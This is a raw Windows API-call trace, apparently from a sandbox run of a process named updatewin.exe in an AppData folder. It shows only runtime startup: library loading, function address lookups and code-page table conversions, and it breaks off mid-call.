[0055.069] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0055.069] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0055.069] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0055.070] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0055.070] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0055.070] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0055.070] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0055.070] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0055.070] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0055.070] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0055.070] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0055.070] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0055.070] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0055.070] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0055.070] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0055.070] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0055.070] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0055.070] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0055.071] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0055.071] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0055.071] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0055.071] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0055.071] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0055.071] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0055.071] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0055.071] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0055.071] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0055.071] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0055.071] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0055.071] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0055.071] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0055.071] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0055.071] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0055.072] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0055.072] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0055.072] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0055.072] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0055.072] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0055.072] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0055.072] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0055.072] GetProcAddress (hModule=0x74f40000, lpProcName="GetDesktopWindow") returned 0x74f60a19 [0055.072] GetProcAddress (hModule=0x74f40000, lpProcName="InvalidateRect") returned 0x74f61381 [0055.072] GetProcAddress (hModule=0x74f40000, lpProcName="wsprintfW") returned 0x74f7e061 [0055.072] GetProcAddress (hModule=0x74f40000, lpProcName="DrawIcon") returned 0x74f68deb [0055.072] GetProcAddress (hModule=0x74f40000, lpProcName="FillRect") returned 0x74f60eb6 [0055.072] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0055.072] GetProcAddress (hModule=0x74f40000, lpProcName="GetDlgItem") returned 0x74f7f1ba [0055.072] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0055.073] GetProcAddress (hModule=0x74f40000, lpProcName="EndPaint") returned 0x74f61341 [0055.073] GetProcAddress (hModule=0x74f40000, lpProcName="BeginPaint") returned 0x74f61361 [0055.073] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0055.073] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0055.073] GetProcAddress (hModule=0x74f40000, lpProcName="DialogBoxParamW") returned 0x74f7cfca [0055.073] GetProcAddress (hModule=0x74f40000, lpProcName="MoveWindow") returned 0x74f63698 [0055.073] GetProcAddress (hModule=0x74f40000, lpProcName="GetClientRect") returned 0x74f60c62 [0055.073] GetProcAddress (hModule=0x74f40000, lpProcName="CreateDialogParamW") returned 0x74f810dc [0055.073] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0055.073] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0055.073] GetProcAddress (hModule=0x74f40000, lpProcName="SetWindowPos") returned 0x74f58e4e [0055.073] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0055.073] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0055.073] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0055.073] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0055.074] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0055.074] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateAcceleratorW") returned 0x74f61246 [0055.074] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0055.074] GetProcAddress (hModule=0x74f40000, lpProcName="LoadAcceleratorsW") returned 0x74f64dd6 [0055.074] GetProcAddress (hModule=0x74f40000, lpProcName="LoadStringW") returned 0x74f58eb9 [0055.074] GetProcAddress (hModule=0x74f40000, lpProcName="LoadIconW") returned 0x74f5b142 [0055.074] GetProcAddress (hModule=0x74f40000, lpProcName="GetMonitorInfoW") returned 0x74f63000 [0055.074] GetProcAddress (hModule=0x74f40000, lpProcName="MonitorFromWindow") returned 0x74f63150 [0055.074] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x75ad0000 [0055.074] GetProcAddress (hModule=0x75ad0000, lpProcName="TextOutW") returned 0x75aed41c [0055.074] GetProcAddress (hModule=0x75ad0000, lpProcName="SetBkMode") returned 0x75ae51a2 [0055.074] GetProcAddress (hModule=0x75ad0000, lpProcName="SelectObject") returned 0x75ae4f70 [0055.074] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateFontW") returned 0x75aeb600 [0055.074] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteObject") returned 0x75ae5689 [0055.074] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateSolidBrush") returned 0x75ae4f17 [0055.075] GetProcAddress (hModule=0x75ad0000, lpProcName="SetTextAlign") returned 0x75ae8401 [0055.075] LoadLibraryA (lpLibFileName="COMCTL32.dll") returned 0x74760000 [0055.078] GetProcAddress (hModule=0x74760000, lpProcName="InitCommonControlsEx") returned 0x747809ce [0055.078] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74a30000 [0055.080] GetProcAddress (hModule=0x74a30000, lpProcName="timeGetTime") returned 0x74a326e0 [0055.080] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74900000 [0055.083] GetProcAddress (hModule=0x74900000, lpProcName="atexit") returned 0x7491c544 [0055.083] atexit (param_1=0x3063c8) returned 0 [0055.083] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e5ac | out: lpSystemTimeAsFileTime=0x18e5ac*(dwLowDateTime=0x41b7f7a0, dwHighDateTime=0x1d53dff)) [0055.083] GetCurrentThreadId () returned 0xa60 [0055.083] GetCurrentProcessId () returned 0xa5c [0055.083] QueryPerformanceCounter (in: lpPerformanceCount=0x18e5a4 | out: lpPerformanceCount=0x18e5a4*=17530736623) returned 1 [0055.083] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0055.083] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.083] GetLastError () returned 0x57 [0055.083] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.083] GetLastError () returned 0x57 [0055.083] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0055.084] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0055.084] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.084] GetLastError () returned 0x57 [0055.084] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0055.084] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0055.084] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.084] GetLastError () returned 0x57 [0055.084] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.084] GetLastError () returned 0x57 [0055.084] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0055.084] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0055.084] GetProcessHeap () returned 0x2f0000 [0055.084] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.084] GetLastError () returned 0x57 [0055.084] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0055.084] GetLastError () returned 0x57 [0055.085] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0055.085] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0055.085] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x364) returned 0x31b9c0 [0055.085] SetLastError (dwErrCode=0x57) [0055.085] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xc00) returned 0x31bd30 [0055.086] GetStartupInfoW (in: lpStartupInfo=0x18e4e0 | out: lpStartupInfo=0x18e4e0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x402400, hStdOutput=0x54d2c394, hStdError=0xfffffffe)) [0055.086] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0055.086] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0055.086] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0055.086] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin.exe\" " [0055.086] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin.exe\" " [0055.086] GetACP () returned 0x4e4 [0055.086] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x220) returned 0x31d138 [0055.086] IsValidCodePage (CodePage=0x4e4) returned 1 [0055.086] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18e500 | out: lpCPInfo=0x18e500) returned 1 [0055.086] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ddc8 | out: lpCPInfo=0x18ddc8) returned 1 [0055.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0055.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x18db68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0055.087] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18dddc | out: lpCharType=0x18dddc) returned 1 [0055.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0055.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x18db18, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇@Ā") returned 256 [0055.087] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.087] GetLastError () returned 0x57 [0055.087] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0055.087] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0055.087] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇@Ā", cchSrc=256, lpDestStr=0x18d908, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0055.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18e2dc, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xdc\x04\x8b\x54\x18\xe5\x18", lpUsedDefaultChar=0x0) returned 256 [0055.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0055.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x18db38, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0055.087] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0055.087] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18d928, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0055.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18e1dc, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 